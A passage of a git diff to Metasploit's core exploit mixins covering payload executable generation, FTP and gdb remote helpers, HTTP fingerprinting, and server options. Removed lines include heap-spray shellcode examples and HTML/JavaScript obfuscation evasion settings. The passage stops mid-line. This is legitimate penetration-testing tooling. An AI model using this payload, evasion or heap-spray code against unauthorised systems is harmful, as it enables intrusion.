datastore['EXE::Custom'] print_status("Using custom payload #{path}, RHOST and RPORT settings will be ignored!") datastore['DisablePayloadHandler'] = true - file = ::File.open(path,'rb') - exe = file.read(file.stat.size) - file.close + exe = nil + ::File.open(path,'rb') {|f| exe = f.read(f.stat.size)} exe end def generate_payload_exe(opts = {}) return get_custom_exe if datastore.include? 'EXE::Custom' + return get_eicar_exe if datastore['EXE::EICAR'] exe_init_options(opts) @@ -48,16 +57,13 @@ module Exploit::EXE pl ||= payload.encoded # Fall back to x86... - if not opts[:arch] or opts[:arch].length < 1 - opts[:arch] = [ ARCH_X86 ] - end + opts[:arch] = [ARCH_X86] if !opts[:arch] || opts[:arch].length < 1 + # Ensure we have an array - if not opts[:arch].kind_of? Array - opts[:arch] = [ opts[:arch] ] - end + opts[:arch] = [opts[:arch]] unless opts[:arch].kind_of? Array # Transform the PlatformList - if (opts[:platform].kind_of? Msf::Module::PlatformList) + if opts[:platform].kind_of? Msf::Module::PlatformList opts[:platform] = opts[:platform].platforms end @@ -68,6 +74,7 @@ module Exploit::EXE def generate_payload_exe_service(opts = {}) return get_custom_exe if datastore.include? 'EXE::Custom' + return get_eicar_exe if datastore['EXE::EICAR'] exe_init_options(opts) @@ -78,7 +85,7 @@ module Exploit::EXE #Ensure opts[:arch] is an array opts[:arch] = [opts[:arch]] unless opts[:arch].kind_of? Array - if opts[:arch] and (opts[:arch].index(ARCH_X64) or opts[:arch].index(ARCH_X86_64)) + if opts[:arch] && (opts[:arch].index(ARCH_X64) or opts[:arch].index(ARCH_X86_64)) exe = Msf::Util::EXE.to_win64pe_service(framework, pl, opts) else exe = Msf::Util::EXE.to_win32pe_service(framework, pl, opts) @@ -90,20 +97,27 @@ module Exploit::EXE def generate_payload_dll(opts = {}) return get_custom_exe if datastore.include? 'EXE::Custom' + return get_eicar_exe if datastore['EXE::EICAR'] exe_init_options(opts) - - # NOTE: Only Windows is supported here. + plat = opts[:platform] pl = opts[:code] pl ||= payload.encoded #Ensure opts[:arch] is an array opts[:arch] = [opts[:arch]] unless opts[:arch].kind_of? Array - if opts[:arch] and (opts[:arch].index(ARCH_X64) or opts[:arch].index(ARCH_X86_64)) - dll = Msf::Util::EXE.to_win64pe_dll(framework, pl, opts) - else - dll = Msf::Util::EXE.to_win32pe_dll(framework, pl, opts) + # NOTE: Only x86_64 linux is supported here. + if plat.index(Msf::Module::Platform::Linux) + if opts[:arch] && (opts[:arch].index(ARCH_X64) || opts[:arch].index(ARCH_X86_64)) + dll = Msf::Util::EXE.to_linux_x64_elf_dll(framework, pl,opts) + end + elsif plat.index(Msf::Module::Platform::Windows) + if opts[:arch] && (opts[:arch].index(ARCH_X64) || opts[:arch].index(ARCH_X86_64)) + dll = Msf::Util::EXE.to_win64pe_dll(framework, pl, opts) + else + dll = Msf::Util::EXE.to_win32pe_dll(framework, pl, opts) + end end exe_post_generation(opts) @@ -112,6 +126,7 @@ module Exploit::EXE def generate_payload_msi(opts = {}) return get_custom_exe(datastore['MSI::Custom']) if datastore.include? 'MSI::Custom' + return get_eicar_exe if datastore['MSI::EICAR'] exe = generate_payload_exe(opts) @@ -121,9 +136,7 @@ module Exploit::EXE :uac => datastore['MSI::UAC'] }) - msi = Msf::Util::EXE.to_exe_msi(framework, exe, opts) - - return msi + Msf::Util::EXE.to_exe_msi(framework, exe, opts) end protected @@ -148,7 +161,7 @@ protected end def exe_post_generation(opts) - if (opts[:fellback]) + if opts[:fellback] print_status("Warning: Falling back to default template: #{opts[:fellback]}") end end diff --git a/lib/msf/core/exploit/file_dropper.rb b/lib/msf/core/exploit/file_dropper.rb index 8ce6cf1a83..6a658243b0 100644 --- a/lib/msf/core/exploit/file_dropper.rb +++ b/lib/msf/core/exploit/file_dropper.rb @@ -122,7 +122,7 @@ module Exploit::FileDropper end @dropped_files.each do |f| - print_warning("This exploit may require manual cleanup of: #{f}") + print_warning("This exploit may require manual cleanup of '#{f}' on the target") end end diff --git a/lib/msf/core/exploit/ftp.rb b/lib/msf/core/exploit/ftp.rb index 21fe5c5ebf..adc0132b02 100644 --- a/lib/msf/core/exploit/ftp.rb +++ b/lib/msf/core/exploit/ftp.rb @@ -43,7 +43,7 @@ module Exploit::Remote::Ftp # # This method establishes an FTP connection to host and port specified by - # the RHOST and RPORT options, respectively. After connecting, the banner + # the 'rhost' and 'rport' methods. After connecting, the banner # message is read in and stored in the 'banner' attribute. # def connect(global = true, verbose = nil) @@ -83,7 +83,11 @@ module Exploit::Remote::Ftp # convert port to FTP syntax datahost = "#{$1}.#{$2}.#{$3}.#{$4}" dataport = ($5.to_i * 256) + $6.to_i - self.datasocket = Rex::Socket::Tcp.create('PeerHost' => datahost, 'PeerPort' => dataport) + self.datasocket = Rex::Socket::Tcp.create( + 'PeerHost' => datahost, + 'PeerPort' => dataport, + 'Context' => { 'Msf' => framework, 'MsfExploit' => self } + ) end self.datasocket end diff --git a/lib/msf/core/exploit/ftpserver.rb b/lib/msf/core/exploit/ftpserver.rb index 1469d3b991..41dea0f789 100644 --- a/lib/msf/core/exploit/ftpserver.rb +++ b/lib/msf/core/exploit/ftpserver.rb @@ -22,7 +22,8 @@ module Exploit::Remote::FtpServer # Register the options that all FTP exploits may make use of. register_options( [ - OptPort.new('SRVPORT', [ true, "The local port to listen on.", 21 ]) + OptPort.new('SRVPORT', [ true, "The local port to listen on.", 21 ]), + OptPort.new('PASVPORT', [ false, "The local PASV data port to listen on (0 is random)", 0 ]) ], Msf::Exploit::Remote::FtpServer) end @@ -77,7 +78,7 @@ module Exploit::Remote::FtpServer return if not cmd # Allow per-command overrides - if(self.respond_to?("on_client_command_#{cmd.downcase}")) + if self.respond_to?("on_client_command_#{cmd.downcase}", true) return self.send("on_client_command_#{cmd.downcase}", c, arg) end @@ -172,7 +173,7 @@ module Exploit::Remote::FtpServer if(not @state[c][:passive_sock]) s = Rex::Socket::TcpServer.create( 'LocalHost' => '0.0.0.0', - 'LocalPort' => 0, + 'LocalPort' => datastore['PASVPORT'].to_i, 'Context' => { 'Msf' => framework, 'MsfExploit' => self } ) diff --git a/lib/msf/core/exploit/gdb.rb b/lib/msf/core/exploit/gdb.rb new file mode 100644 index 0000000000..d6c7cb2cf7 --- /dev/null +++ b/lib/msf/core/exploit/gdb.rb @@ -0,0 +1,190 @@ +# -*- coding: binary -*- + +require 'msf/core/exploit/tcp' + +module Msf + +# +# Implement some helpers for communicating with a remote gdb instance. +# +# More info on the gdb protocol can be found here: +# https://sourceware.org/gdb/current/onlinedocs/gdb/Overview.html#Overview +# + +module Exploit::Remote::Gdb + + include Msf::Exploit::Remote::Tcp + + # thrown when an expected ACK packet is never received + class BadAckError < RuntimeError; end + + # thrown when a response is incorrect + class BadResponseError < RuntimeError; end + + # thrown when a checksum is invalid + class BadChecksumError < RuntimeError; end + + # Default list of supported GDB features to send the to the target + GDB_FEATURES = 'qSupported:multiprocess+;qRelocInsn+;qvCont+;' + + # Maps index of register in GDB that holds $PC to architecture + PC_REGISTERS = { + '08' => ARCH_X86, + '10' => ARCH_X86_64 + } + + # Send an ACK packet + def send_ack + sock.put('+') + vprint_status('Sending ack...') + end + + # Reads an ACK packet from the wire + # @raise [BadAckError] if a bad ACK is received + def read_ack + unless sock.get_once(1) == '+' + raise BadAckError + end + vprint_status('Received ack...') + end + + # Sends a command and receives an ACK from the remote. + # @param cmd [String] the gdb command to run. The command is will be + # wrapped '$' prefix and checksum. + def send_cmd(cmd) + full_cmd = '$' + cmd + '#' + checksum(cmd) + vprint_status('Sending cmd: '+full_cmd) + sock.put(full_cmd) + read_ack + end + + # Reads (and possibly decodes) from the socket and sends an ACK to verify receipt + # @param opts [Hash] the options hash + # @option opts :decode [Boolean] rle decoding should be applied to the response + # @option opts :verify [Boolean] verify the response's checksum + # @return [String] the response + # @raise [BadResponseError] if the expected response is missing + # @raise [BadChecksumError] if the checksum is invalid + def read_response(opts={}) + decode, verify = opts.fetch(:decode, false), opts.fetch(:verify, true) + res = sock.get_once + raise BadResponseError if res.nil? + raise BadChecksumError if (verify && !verify_checksum(res)) + res = decode_rle(res) if decode + vprint_status('Result: '+res) + send_ack + res + end + + # Implements decoding of gdbserver's Run-Length-Encoding that is applied + # on some hex values to collapse repeated characters. + # + # https://sourceware.org/gdb/current/onlinedocs/gdb/Overview.html#Binary-Data + # + # @param msg [String] the message to decode + # @return [String] the decoded result + def decode_rle(msg) + vprint_status "Before decoding: #{msg}" + msg.gsub /.\*./ do |match| + match.bytes.to_a.first.chr * (match.bytes.to_a.last - 29 + 1) + end + end + + # The two-digit checksum is computed as the modulo 256 sum of all characters + # between the leading ‘$’ and the trailing ‘#’ (an eight bit unsigned checksum). + # @param str [String] the string to calculate the checksum of + # @return [String] hex string containing checksum + def checksum(str) + "%02x" % str.bytes.inject(0) { |b, sum| (sum+b)%256 } + end + + # Verifies a response's checksum + # @param res [String] the response to check + # @return [Boolean] whether the checksum is valid + def verify_checksum(res) + msg, chksum = res.match(/^\$(.*)#(\h{2})$/)[1..2] + checksum(msg) == chksum + end + + # Writes the buffer +buf+ to the address +addr+ in the remote process's memory + # @param buf [String] the buffer to write + # @param addr [String] the hex-encoded address to write to + def write(buf, addr) + hex = Rex::Text.to_hex(buf, '') + send_cmd "M#{addr},#{buf.length.to_s(16)}:#{hex}" + read_response + end + + # Steps execution and finds $PC pointer and architecture + # @return [Hash] with :arch and :pc keys containing architecture and PC pointer + # @raise [BadResponseError] if necessary data is missing + def process_info + data = step + pc_data = data.split(';')[2] + raise BadResponseError if pc_data.nil? + pc_data = pc_data.split(':') + my_arch = PC_REGISTERS[pc_data[0]] + pc = pc_data[1] + + if my_arch.nil? + raise RuntimeError, "Could not detect a supported arch from response to step:\n#{pc_data}" + end + + { + arch: my_arch, + pc: Rex::Text.to_hex(Rex::Arch.pack_addr(my_arch, Integer(pc, 16)), ''), + pc_raw: Integer(pc, 16) + } + end + + # Continues execution of the remote process + # @param opts [Hash] the options hash + # @option opts :read [Boolean] read the response + def continue(opts={}) + send_cmd 'vCont;c' + read_response if opts.fetch(:read, true) + end + + # Detaches from the remote process + # @param opts [Hash] the options hash + # @option opts :read [Boolean] read the response + def detach(opts={}) + send_cmd 'D' + read_response if opts.fetch(:read, true) + end + + # Executes one instruction on the remote process + # + # The results of running "step" will look like: + # x86: $T0505:00000000;04:a0f7ffbf;08:d2f0fdb7;thread:p2d39.2d39;core:0;#53 + # x64: $T0506:0000000000000000;07:b0587f9fff7f0000;10:d3e29d03057f0000;thread:p8bf9.8bf9;core:0;#df + # The third comma-separated field will contain EIP, and the register index + # will let us deduce the remote architecture (through PC_REGISTERS lookup) + # + # @return [String] a list of key/value pairs, including current PC + def step + send_cmd 'vCont;s' + read_response(decode: true) + end + + def run(filename) + send_cmd "vRun;#{Rex::Text.to_hex(filename, '')}" + read_response + end + + def enable_extended_mode + send_cmd("!") + read_response + end + + # Performs a handshake packet exchange + # @param features [String] the list of supported features to tell the remote + # host that the client supports (defaults to +DEFAULT_GDB_FEATURES+) + def handshake(features=GDB_FEATURES) + send_cmd features + read_response # lots of flags, nothing interesting + end + +end + +end diff --git a/lib/msf/core/exploit/http/client.rb b/lib/msf/core/exploit/http/client.rb index d3cf4e46f0..470558ce32 100644 --- a/lib/msf/core/exploit/http/client.rb +++ b/lib/msf/core/exploit/http/client.rb @@ -50,7 +50,7 @@ module Exploit::Remote::HttpClient OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication', '']), OptBool.new('DigestAuthIIS', [false, 'Conform to IIS, should work for most servers. Only set to false for non-IIS servers', true]), OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', false]), - OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL that should be used', 'SSL3', ['SSL2', 'SSL3', 'TLS1']]), + OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL that should be used', 'Auto', ['Auto', 'SSL2', 'SSL3', 'TLS1']]), OptBool.new('FingerprintCheck', [ false, 'Conduct a pre-exploit fingerprint verification', true]), OptString.new('DOMAIN', [ true, 'The domain to use for windows authentification', 'WORKSTATION']) ], self.class @@ -58,7 +58,7 @@ module Exploit::Remote::HttpClient register_evasion_options( [ - OptEnum.new('HTTP::uri_encode_mode', [false, 'Enable URI encoding', 'hex-normal', ['none', 'hex-normal', 'hex-all', 'hex-random', 'u-normal', 'u-all', 'u-random']]), + OptEnum.new('HTTP::uri_encode_mode', [false, 'Enable URI encoding', 'hex-normal', ['none', 'hex-normal', 'hex-noslashes', 'hex-random', 'hex-all', 'u-normal', 'u-all', 'u-random']]), OptBool.new('HTTP::uri_full_url', [false, 'Use the full URL for all HTTP requests', false]), OptInt.new('HTTP::pad_method_uri_count', [false, 'How many whitespace characters to use between the method and uri', 1]), OptInt.new('HTTP::pad_uri_version_count', [false, 'How many whitespace characters to use between the uri and version', 1]), @@ -82,8 +82,8 @@ module Exploit::Remote::HttpClient # # Remaining evasions to implement # -# OptBool.new('HTTP::chunked', [false, 'Enable chunking of HTTP request via "Transfer-Encoding: chunked"', 'false']), -# OptInt.new('HTTP::junk_pipeline', [true, 'Insert the specified number of junk pipeline requests', 0]), +# OptBool.new('HTTP::chunked', [false, 'Enable chunking of HTTP request via "Transfer-Encoding: chunked"', 'false']), +# OptInt.new('HTTP::junk_pipeline', [true, 'Insert the specified number of junk pipeline requests', 0]), ], self.class ) register_autofilter_ports([ 80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443 ]) @@ -164,7 +164,7 @@ module Exploit::Remote::HttpClient # Configure the HTTP client with the supplied parameter nclient.set_config( - 'vhost' => opts['vhost'] || self.vhost(), + 'vhost' => opts['vhost'] || opts['rhost'] || self.vhost(), 'agent' => datastore['UserAgent'], 'uri_encode_mode' => datastore['HTTP::uri_encode_mode'], 'uri_full_url' => datastore['HTTP::uri_full_url'], @@ -439,41 +439,86 @@ module Exploit::Remote::HttpClient datastore['Proxies'] end + + # + # Lookup HTTP fingerprints from the database that match the current + # destination host and port. This method falls back to using the old + # service.info field to represent the HTTP Server header. + # + # @option opts [String] :uri ('/') An HTTP URI to request in order to generate + # a fingerprint + # @option opts [String] :method ('GET') An HTTP method to use in the fingerprint + # request + def lookup_http_fingerprints(opts={}) + uri = opts[:uri] || '/' + method = opts[:method] || 'GET' + fprints = [] + + return fprints unless framework.db.active + + ::ActiveRecord::Base.connection_pool.with_connection { + wspace = datastore['WORKSPACE'] ? + framework.db.find_workspace(datastore['WORKSPACE']) : framework.db.workspace + + service = framework.db.get_service(wspace, rhost, 'tcp', rport) + return fprints unless service + + # Order by note_id descending so the first value is the most recent + service.notes.where(:ntype => 'http.fingerprint').order("notes.id DESC").each do |n| + next unless n.data && n.data.kind_of?(::Hash) + next unless n.data[:uri] == uri && n.data[:method] == method + # Append additional fingerprints to the results as found + fprints.unshift n.data.dup + end + } + + fprints + end + # # Record various things about an HTTP server that we can glean from the # response to a single request. If this method is passed a response, it # will use it directly, otherwise it will check the database for a previous # fingerprint. Failing that, it will make a request for /. # - # Options: - # :response an Http::Packet as returned from any of the send_* methods + # Other options are passed directly to {#connect} if :response is not given # - # Other options are passed directly to +connect+ if :response is not given + # @option opts [Rex::Proto::Http::Packet] :response The return value from any + # of the send_* methods + # @option opts [String] :uri ('/') An HTTP URI to request in order to generate + # a fingerprint + # @option opts [String] :method ('GET') An HTTP method to use in the fingerprint + # request + # @option opts [Boolean] :full (false) Request the full HTTP fingerprint, not + # just the signature # + # @return [String] def http_fingerprint(opts={}) + res = nil + uri = opts[:uri] || '/' + method = opts[:method] || 'GET' - if (opts[:response]) + # Short-circuit the fingerprint lookup and HTTP request if a response has + # already been provided by the caller. + if opts[:response] res = opts[:response] else - # Check to see if we already have a fingerprint before going out to - # the network. - if (framework.db.active) - ::ActiveRecord::Base.connection_pool.with_connection { - wspace = framework.db.workspace - if datastore['WORKSPACE'] - wspace = framework.db.find_workspace(datastore['WORKSPACE']) - end + fprints = lookup_http_fingerprints(opts) - s = framework.db.get_service(wspace, rhost, 'tcp', rport) - if (s and s.info) - return s.info - end - } + if fprints.length > 0 + + # Grab the most recent fingerprint available for this service, uri, and method + fprint = fprints.last + + # Return the full HTTP fingerprint if requested by the caller + return fprint if opts[:full] + + # Otherwise just return the signature string for compatibility + return fprint[:signature] end + # Go ahead and send a request to the target for fingerprinting connect(opts) - uri = opts[:uri] || '/' - method = opts[:method] || 'GET' res = send_request_raw( { 'uri' => uri, @@ -481,11 +526,13 @@ module Exploit::Remote::HttpClient }) end - # Bail if we don't have anything to fingerprint + # Bail if the request did not receive a readable response return if not res - # From here to the end simply does some pre-canned combining and custom matches - # to build a human-readable string to store in service.info + # This section handles a few simple cases of pattern matching and service + # classification. This logic should be deprecated in favor of Recog-based + # fingerprint databases, but has been left in place for backward compat. + extras = [] if res.headers['Set-Cookie'] =~ /^vmware_soap_session/ @@ -537,6 +584,11 @@ module Exploit::Remote::HttpClient end end + # + # This HTTP response code tracking is used by a few modules and the MSP logic + # to identify and bruteforce certain types of servers. In the long run we + # should deprecate this and use the http.fingerprint fields instead. + # case res.code when 301,302 extras << "#{res.code}-#{res.headers['Location']}" @@ -548,12 +600,51 @@ module Exploit::Remote::HttpClient extras << "#{res.code}-#{res.message}" end - info = "#{res.headers['Server']}" + # Build a human-readable string to store in service.info and http.fingerprint[:signature] + info = res.headers['Server'].to_s.dup info << " ( #{extras.join(", ")} )" if extras.length > 0 + + # Create a new fingerprint structure to track this response + fprint = { + :uri => uri, :method => method, + :code => res.code.to_s, :message => res.message.to_s, + :signature => info + } + + res.headers.each_pair do |k,v| + hname = k.to_s.downcase.gsub('-', '_').gsub(/[^a-z0-9_]+/, '') + next unless hname.length > 0 + + # Set-Cookie > :header_set_cookie => JSESSIONID=AAASD23423452 + # Server > :header_server => Apache/1.3.37 + # WWW-Authenticate > :header_www_authenticate => basic realm='www' + + fprint["header_#{hname}".intern] = v + end + + # Store the first 64k of the HTTP body as well + fprint[:content] = res.body.to_s[0,65535] + + # Report a new http.fingerprint note + report_note( + :host => rhost, + :port => rport, + :proto => 'tcp', + :ntype => 'http.fingerprint', + :data => fprint, + # Limit reporting to one stored note per host/service combination + :update => :unique + ) + # Report here even if info is empty since the fact that we didn't # return early means we at least got a connection and the service is up report_web_site(:host => rhost, :port => rport, :ssl => ssl, :vhost => vhost, :info => info.dup) - info + + # Return the full HTTP fingerprint if requested by the caller + return fprint if opts[:full] + + # Otherwise just return the signature string for compatibility + fprint[:signature] end def make_cnonce diff --git a/lib/msf/core/exploit/http/server.rb b/lib/msf/core/exploit/http/server.rb index f28f94d050..7e52027dd5 100644 --- a/lib/msf/core/exploit/http/server.rb +++ b/lib/msf/core/exploit/http/server.rb @@ -15,6 +15,9 @@ module Msf ### module Exploit::Remote::HttpServer + autoload :HTML, 'msf/core/exploit/http/server/html' + autoload :PHPInclude, 'msf/core/exploit/http/server/php_include' + include Msf::Exploit::Remote::TcpServer include Msf::Auxiliary::Report @@ -37,6 +40,11 @@ module Exploit::Remote::HttpServer ], Exploit::Remote::HttpServer ) + register_advanced_options([ + OptAddress.new('URIHOST', [false, 'Host to use in URI (useful for tunnels)']), + OptPort.new('URIPORT', [false, 'Port to use in URI (useful for tunnels)']) + ]) + # Used to keep track of resources added to the service manager by # this module. see #add_resource and #cleanup @my_resources = [] @@ -76,6 +84,11 @@ module Exploit::Remote::HttpServer end # :category: print_* overrides # Prepends client and module name if inside a thread with a #cli + def print_good(msg='') + (cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super + end + # :category: print_* overrides + # Prepends client and module name if inside a thread with a #cli def print_error(msg='') (cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super end @@ -103,6 +116,11 @@ module Exploit::Remote::HttpServer end # :category: print_* overrides # Prepends client and module name if inside a thread with a #cli + def vprint_good(msg='') + (cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super + end + # :category: print_* overrides + # Prepends client and module name if inside a thread with a #cli def vprint_error(msg='') (cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super end @@ -258,18 +276,19 @@ module Exploit::Remote::HttpServer # Report#report_client, and Msf::DBManager#report_host namely: # +:ua_name+:: a brief identifier for the client, e.g. "Firefox" # +:ua_ver+:: the version number of the client, e.g. "3.0.11" - # +:os_name+:: one of the Msf::OperatingSystems constants - # +:os_flavor+:: something like "XP" or "Gentoo" + # +:os_name+:: something like "Windows XP", "Windows 7", or "Linux" + # +:os_flavor+:: something like "Enterprise", "Pro", or "Home" # +:os_lang+:: something like "English", "French", or "en-US" # +:arch+:: one of the ARCH_* constants # # Unknown values may be nil. # def fingerprint_user_agent(ua_str) + fp = { :ua_string => ua_str } - # always check for IE last because everybody tries to - # look like IE + # Guess the browser type based on the user agent + # Check for IE last since its often impersonated case (ua_str.downcase) # Chrome tries to look like Safari, so check it first when /chrome\/(\d+(:?\.\d+)*)/ @@ -292,58 +311,70 @@ module Exploit::Remote::HttpServer else fp[:ua_name] = HttpClients::UNKNOWN end + + # Guess the language case (ua_str.downcase) when /(en-us|en-gb)/ fp[:os_lang] = $1 end + + # Guess the general OS type case (ua_str.downcase) - when /windows/ + when /windows|win32/ fp[:os_name] = OperatingSystems::WINDOWS fp[:arch] = ARCH_X86 when /linux/ fp[:os_name] = OperatingSystems::LINUX - when /iphone/ - fp[:os_name] = OperatingSystems::MAC_OSX + when /iphone|ipad/ + fp[:os_name] = OperatingSystems::APPLE_IOS fp[:arch] = 'armle' when /mac os x/ fp[:os_name] = OperatingSystems::MAC_OSX else fp[:os_name] = OperatingSystems::UNKNOWN end + + # Determine the specific OS variant + + # Note that we assume windows variants are the + # client version and mismatch server editions. + case (ua_str.downcase) when /windows 95/ - fp[:os_flavor] = '95' + fp[:os_name] = 'Windows 95' when /windows 98/ - fp[:os_flavor] = '98' + fp[:os_name] = 'Windows 98' when /windows nt 4/ - fp[:os_flavor] = 'NT' + fp[:os_name] = 'Windows NT' when /windows nt 5.0/ - fp[:os_flavor] = '2000' + fp[:os_name] = 'Windows 2000' when /windows nt 5.1/ - fp[:os_flavor] = 'XP' + fp[:os_name] = 'Windows XP' when /windows nt 5.2/ - fp[:os_flavor] = '2003' + fp[:os_name] = 'Windows 2003' when /windows nt 6.0/ - fp[:os_flavor] = 'Vista' + fp[:os_name] = 'Windows Vista' when /windows nt 6.1/ - fp[:os_flavor] = '7' + fp[:os_name] = 'Windows 7' when /windows nt 6.2/ - fp[:os_flavor] = '8' + fp[:os_name] = 'Windows 8' + when /windows nt 6.3/ + fp[:os_name] = 'Windows 8.1' when /gentoo/ - fp[:os_flavor] = 'Gentoo' + fp[:os_vendor] = 'Gentoo' when /debian/ - fp[:os_flavor] = 'Debian' + fp[:os_vendor] = 'Debian' when /ubuntu/ - fp[:os_flavor] = 'Ubuntu' + fp[:os_vendor] = 'Ubuntu' when /fedora/ - fp[:os_flavor] = 'Fedora' + fp[:os_vendor] = 'Fedora' when /red hat|rhel/ - fp[:os_flavor] = 'RHEL' + fp[:os_vendor] = 'RHEL' when /android/ - fp[:os_flavor] = 'Android' - else - fp[:os_flavor] = '' + fp[:os_name] = OperatingSystems::ANDROID end + + # Guess the architecture case (ua_str.downcase) when /ppc/ fp[:arch] = ARCH_PPC @@ -436,7 +467,9 @@ module Exploit::Remote::HttpServer def get_uri(cli=self.cli) ssl = !!(datastore["SSL"]) proto = (ssl ? "https://" : "http://") - if (cli and cli.peerhost) + if datastore['URIHOST'] + host = datastore['URIHOST'] + elsif (cli and cli.peerhost) host = Rex::Socket.source_address(cli.peerhost) else host = srvhost_addr @@ -446,7 +479,9 @@ module Exploit::Remote::HttpServer host = "[#{host}]" end - if (ssl and datastore["SRVPORT"] == 443) + if datastore['URIPORT'] != 0 + port = ':' + datastore['URIPORT'].to_s + elsif (ssl and datastore["SRVPORT"] == 443) port = '' elsif (!ssl and datastore["SRVPORT"] == 80) port = '' @@ -481,7 +516,9 @@ module Exploit::Remote::HttpServer # # @return [String] def srvhost_addr - if (datastore['LHOST'] and (!datastore['LHOST'].strip.empty?)) + if datastore['URIHOST'] + host = datastore['URIHOST'] + elsif (datastore['LHOST'] and (!datastore['LHOST'].strip.empty?)) host = datastore["LHOST"] else if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") @@ -513,7 +550,7 @@ module Exploit::Remote::HttpServer # Guard against removing resources added by other modules if @my_resources.include?(name) @my_resources.delete(name) - service.remove_resource(name) + service.remove_resource(name) if service end end @@ -662,352 +699,8 @@ module Exploit::Remote::HttpServer def on_request_uri(cli, request) end + # allow this module to be patched at initialization-time + Metasploit::Concern.run(self) end -### -# -# This module provides methods for exploiting an HTTP client by acting -# as an HTTP server. -# -### -module Exploit::Remote::HttpServer::HTML - - include Msf::Exploit::Remote::HttpServer - -protected - - def initialize(info = {}) - super - - register_evasion_options( - [ - # utf-8, utf-7 and utf-7-all are currently not supported by - # most browsers. as such, they are not added by default. The - # mixin supports encoding using them, however they are not - # listed in the Option. - OptEnum.new('HTML::unicode', [false, 'Enable HTTP obfuscation via unicode', 'none', ['none', 'utf-16le', 'utf-16be', 'utf-16be-marker', 'utf-32le', 'utf-32be']]), - OptEnum.new('HTML::base64', [false, 'Enable HTML obfuscation via an embeded base64 html object (IE not supported)', 'none', ['none', 'plain', 'single_pad', 'double_pad', 'random_space_injection']]), - OptInt.new('HTML::javascript::escape', [false, 'Enable HTML obfuscation via HTML escaping (number of iterations)', 0]), - ], Exploit::Remote::HttpServer::HTML) - end - - # - # Obfuscates symbols found within a javascript string. - # - # Returns an ObfuscateJS object - # - def obfuscate_js(javascript, opts) - js = Rex::Exploitation::ObfuscateJS.new(javascript, opts) - js.obfuscate - return js - end - - # - # Encrypts a given javascript string using the provided key. - # - # Returns a string containing the encrypted string and a loader - # - def encrypt_js(javascript, key) - Rex::Exploitation::EncryptJS.encrypt(javascript, key) - end - - # - # Returns the heaplib javascript, including any custom javascript supplied - # by the caller. - # - def heaplib(custom_js = '', opts = {}) - Rex::Exploitation::HeapLib.new(custom_js, opts).to_s - end - - # - # Returns the heaplib2 javascript - # - def js_heaplib2(custom_js = '', opts = {}) - @cache_heaplib2 ||= Rex::Exploitation::Js::Memory.heaplib2(custom_js, opts={}) - end - - def js_base64 - @cache_base64 ||= Rex::Exploitation::Js::Utils.base64 - end - - - # - # Downloads data using ajax - # - # Supported arguments: - # method => Optional. HTTP Verb (eg. GET/POST) - # path => Relative path to the file. In IE, you can actually use an URI. But in Firefox, you - # must use a relative path, otherwise you will be blocked by the browser. - # data => Optional. Data to pass to the server - # - # Example of using the ajax_download() function: - # For IE, your web server has to return this header to download binary data: - # "text/plain; charset=x-user-defined" - # <script> - # #{js_ajax_download} - # - # ajax_download({path:"/test.bin"}); - # </script> - # - def js_ajax_download - @cache_ajax_download ||= Rex::Exploitation::Js::Network.ajax_download - end - - - # - # Transfers data using a POST request - # - def js_ajax_post - @cache_ajax_post ||= Rex::Exploitation::Js::Network.ajax_post - end - - - # - # This function takes advantage of MSTIME's CTIMEAnimationBase::put_values function that's - # suitable for a no-spray technique. There should be an allocation that contains an array of - # pointers to strings that we control, and each string should reside in its own buffer. - # Please note newer IEs (such as IE9), no longer support SMIL, therefore this only works on - # Internet Explorer 8 or prior. Note that "mstime_malloc" also requires a rather specific - # writing style, so make sure you have the following before using: - # * You must have the following at the beginning of your HTML file: - # <!doctype html> - # <HTML XMLNS:t ="urn:schemas-microsoft-com:time"> - # * You must have the following in <meta>: - # <meta> - # <?IMPORT namespace="t" implementation="#default#time2"> - # </meta> - # - # The "mstime_malloc" JavaScript function supports the following arguments: - # shellcode => The shellcode to place. - # offset => Optional. The pointer index that points to the shellcode. - # heapBlockSize => Object size. - # objId => The ID to your ANIMATECOLOR element. - # - # Example of using "js_mstime_malloc": - # <script> - # #{js_mstime_malloc} - # - # shellcode = unescape("%u4141%u4141%u4141%u4141%u4141"); - # offset = 3; - # s = 0x58; - # mstime_malloc({shellcode:shellcode,offset:offset,heapBlockSize:s,objId:oId}); - # </script> - # - def js_mstime_malloc - @cache_mstime_malloc ||= Rex::Exploitation::Js::Memory.mstime_malloc - end - - # - # This heap spray technique takes advantage of MSHTML's SetStringProperty (or SetProperty) - # function to trigger allocations by ntdll!RtlAllocateHeap. It is based on Corelan's - # publication on "DEPS – Precise Heap Spray on Firefox and IE10". In IE, the shellcode - # should land at address 0x0c0d2020, as this is the most consistent location across - # various versions. - # - # The "sprayHeap" JavaScript function supports the following arguments: - # shellcode => The shellcode to spray in JavaScript. Note: Avoid null bytes. - # objId => Optional. The ID for a <div> HTML tag. - # offset => Optional. Number of bytes to align the shellcode, default: 0x00 - # heapBlockSize => Optional. Allocation size, default: 0x80000 - # maxAllocs => Optional. Number of allocation calls, default: 0x350 - # - # Example of using the 'sprayHeap' function: - # <script> - # #{js_property_spray} - # - # var s = unescape("%u4141%u4141%u4242%u4242%u4343%u4343%u4444%u4444"); - # sprayHeap({shellcode:s, heapBlockSize:0x80000}); - # </script> - # - def js_property_spray - @cache_property_spray ||= Rex::Exploitation::Js::Memory.property_spray - end - - def js_heap_spray - @cache_heap_spray ||= Rex::Exploitation::Js::Memory.heap_spray - end - - def js_os_detect - @cache_os_detect ||= ::Rex::Exploitation::Js::Detect.os - end - - def js_ie_addons_detect - @cache_ie_addons_detect ||= ::Rex::Exploitation::Js::Detect.ie_addons - end - - def js_misc_addons_detect - @cache_misc_addons_detect ||= ::Rex::Exploitation::Js::Detect.misc_addons - end - - # Transmits a html response to the supplied client - # - # HTML evasions are implemented here. - def send_response_html(cli, body, headers = {}) - body = body.to_s.unpack("C*").pack("C*") - if datastore['HTML::base64'] != 'none' - case datastore['HTML::base64'] - when 'plain' - body = 